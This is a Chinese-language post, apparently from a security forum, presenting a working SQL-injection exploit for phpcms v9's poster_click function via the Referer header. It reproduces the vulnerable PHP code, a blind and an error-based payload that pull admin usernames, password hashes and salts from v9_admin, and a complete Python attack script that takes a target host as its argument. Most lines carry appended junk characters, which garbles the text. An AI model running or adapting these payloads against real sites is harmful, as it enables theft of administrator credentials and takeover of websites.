有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:1 e+ ~6 I L# Y5 R b
, f* t0 }; g4 H4 F' e: \问题函数\phpcms\modules\poster\index.php/ ?9 K. z$ j* _" Y; A5 `6 R
( C$ Z4 D3 C j' Gpublic function poster_click() {
2 m0 b& S, W# K ?! \0 R. p$ `+ x$id = isset($_GET['id']) ? intval($_GET['id']) : 0;3 ]/ }. M- |: `; v, P5 ^! K3 f: x
$r = $this->db->get_one(array('id'=>$id));
5 u% L- p/ R( }! S9 N; N3 Zif (!is_array($r) && empty($r)) return false;
) t/ i- r- u2 `+ c7 x6 _4 w" ^' f$ip_area = pc_base::load_sys_class('ip_area');
+ ^- }) \8 ^/ ], Y: z: f$ip = ip();' K0 u* i) M7 ~; K' t& o% X2 N
$area = $ip_area->get($ip);
+ I D+ M+ @! Q) @$username = param::get_cookie('username') ? param::get_cookie('username') : '';8 l1 j/ N$ f' X: y2 v5 F5 G- s; E
if($id) {
3 f* A4 }$ i! E7 ?+ \0 Q$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
" B# ]& H: h) t- N6 O% R$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
1 [6 R9 D. i- Q# B! T}/ }& s1 i& B* V1 W
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
+ ]! Q4 r' m0 i1 W2 r$setting = string2array($r['setting']);( {6 w$ N6 ~! U1 T) I
if (count($setting)==1) {
' ^7 ~" U+ K% |( ~2 ?$url = $setting['1']['linkurl'];/ F9 _: ~# ^" x" f5 A# l
} else {) m! A8 I4 f8 q& {0 t8 M8 G
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];8 G, \$ C( e& {+ ^- h1 W, f; r
}! I# u% G4 j, E% _! `
header('Location: '.$url);% q( K! f$ a+ s' ^' m
}4 |( B% h; h8 e: e6 g
/ c1 V8 ^( o/ A1 W
% L9 E1 B' Z0 a: Q7 |: y. ~% U8 |0 i5 D8 `# D+ {& g
利用方式:
+ E2 g2 X7 P$ u- L: l( }9 u
6 Y, O" u4 W! p% {( ^1、可以采用盲注入的手法:
& |& k: g- ^, p* _( P" N/ u( G5 j' L# `+ _% U0 f/ J! X
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)## d9 E* ]' g( |6 }
9 R$ P& S3 Z! f/ M通过返回页面,正常与否一个个猜解密码字段。% X/ B/ e& F# V* h
- A0 [. t4 b1 o3 i) a
2、代码是花开写的,随手附上了:
7 k/ [' f: H- k9 H& g9 |
8 L" q. P+ S; A( C( y7 h( i7 H1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#9 \* P/ j: d; d U0 O
3 \ b" A* H0 d9 V2 ^: F( |此方法是爆错注入手法,原理自查。& }8 H! T5 J9 b) z7 i+ t) i' H D
' S8 s8 k0 Q5 |) m, A, P
; _& B# P& k% k2 L
& M- }( j I6 [7 y$ {: z' R利用程序:& M% G5 n( z5 p6 g3 {4 o+ l
) ~" q1 }% p. u. |, H0 r#!/usr/bin/env python4 H% F" N. B$ _+ `% g' U; p
import httplib,sys,re- u1 r& q |* D, O% q* w
8 l0 d% M9 M2 S0 q* ]! Rdef attack():1 }% A, G/ O/ G9 T; A2 P/ F7 H% b
print “Code by Pax.Mac Team conqu3r!”
' c w' [0 Z0 p& p3 {: Oprint “Welcome to our zone!!!”
1 N) O# [& g3 f) \8 [8 surl=sys.argv[1]
5 q8 E) S# Z4 l5 R! r( N9 `paths=sys.argv[2]
/ G3 [; q' a7 d* W6 U& wconn = httplib.HTTPConnection(url)
7 M* W, b# R" p/ ^( \i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
. V. Z4 \% _8 |1 Q' ^“Accept”: “text/plain”,
' s( M" s& f) F6 P" @3 k, c' e“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
K$ M: b' m# l; {conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
0 z( K8 {# `* V8 L7 f- V; jr1 = conn.getresponse()) n- n4 ^: v8 |; K0 Q
datas=r1.read() I4 R. _2 P: c
datas=re.findall(r”Duplicate entry \’\w+’”, datas)$ Z, m8 H% \5 V: f
print datas[0]8 _$ h5 O j: j- U0 Z" p+ n
conn.close()
6 b' L3 m n8 J0 L7 X: aif __name__==”__main__”:
; ?3 E: W% G P ^( o9 Oif len(sys.argv)<3:- [# L& I$ }2 k& j7 d, K3 K1 k/ J: a
print “Code by Pax.Mac Team conqu3r”% I7 N3 y0 b+ ^" p9 b8 V E) j8 y( _
print “Usgae:”7 N8 S# L4 H+ L5 X; t& w
print “ phpcmsattack.py www.paxmac.org /”
6 l, e/ U! D L( X4 nprint “ phpcmsataack.py www.paxmac.org /phpcmsv9/”. g2 L( Y9 U1 n9 Y
sys.exit(1)& \, o* F D4 g8 h1 X
attack()! r9 f3 q6 _9 D4 b( S$ |( _
4 W1 J7 Q% A; @
|